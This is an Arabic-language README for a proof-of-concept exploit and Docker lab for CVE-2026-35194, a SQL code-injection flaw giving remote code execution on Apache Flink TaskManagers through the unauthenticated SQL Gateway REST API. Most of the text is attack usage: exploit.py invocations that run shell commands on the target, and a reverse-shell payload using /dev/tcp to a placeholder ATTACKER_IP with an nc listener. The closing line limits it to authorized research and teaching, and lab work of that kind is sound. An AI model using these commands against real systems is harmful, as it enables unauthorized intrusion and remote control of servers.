
إثبات مفهوم للاستغلال ومختبر Docker للثغرة CVE-2026-35194، وهي ثغرة حقن تعليمات SQL في Apache Flink تتيح تنفيذ التعليمات البرمجية عن بُعد على TaskManagers عبر واجهة SQL Gateway REST API.
تنفيذ شيفرة عن بُعد على Apache Flink TaskManagers عبر حقن توليد شيفرة SQL.
| CVE | CVE-2026-35194 |
| CVSS | 8.1 (مرتفع) |
| CWE | CWE-94 — حقن الشيفرة |
| المتأثر | Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0 |
| المُصلَّح | 1.20.4 / 2.0.2 / 2.1.2 / 2.2.1 |
| سطح الهجوم | SQL Gateway REST API (المنفذ الافتراضي 8083، بدون مصادقة) |
docker compose up -d
انتظر ~30 ثانية حتى يبدأ العنقود. تظهر خدمتان:
http://localhost:8081http://localhost:8083تحقق:
curl -s http://localhost:8083/v1/info
# Should return version "1.20.3"
pip install requests
متجه JSON:
python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"
متجه LIKE:
python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"
فحص الإصدار فقط (بدون RCE):
python3 exploit.py localhost -p 8083 --check-only
التحقق من RCE على TaskManager:
docker exec flink-taskmanager cat /tmp/pwned
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — exploit
python3 exploit.py TARGET -p 8083 -v json \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
[--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
target
Options:
target Target host (IP or hostname)
-p, --port SQL Gateway port (default: 8083)
-c, --command Shell command to run on TaskManager
-v, --vector json (default) or like
--check-only Version check only, no exploit
-t, --timeout Request timeout in seconds (default: 30)
--cert / --key Client cert + key for mTLS environments
--ssl Force HTTPS
لأغراض البحث الأمني المصرّح به والأغراض التعليمية فقط.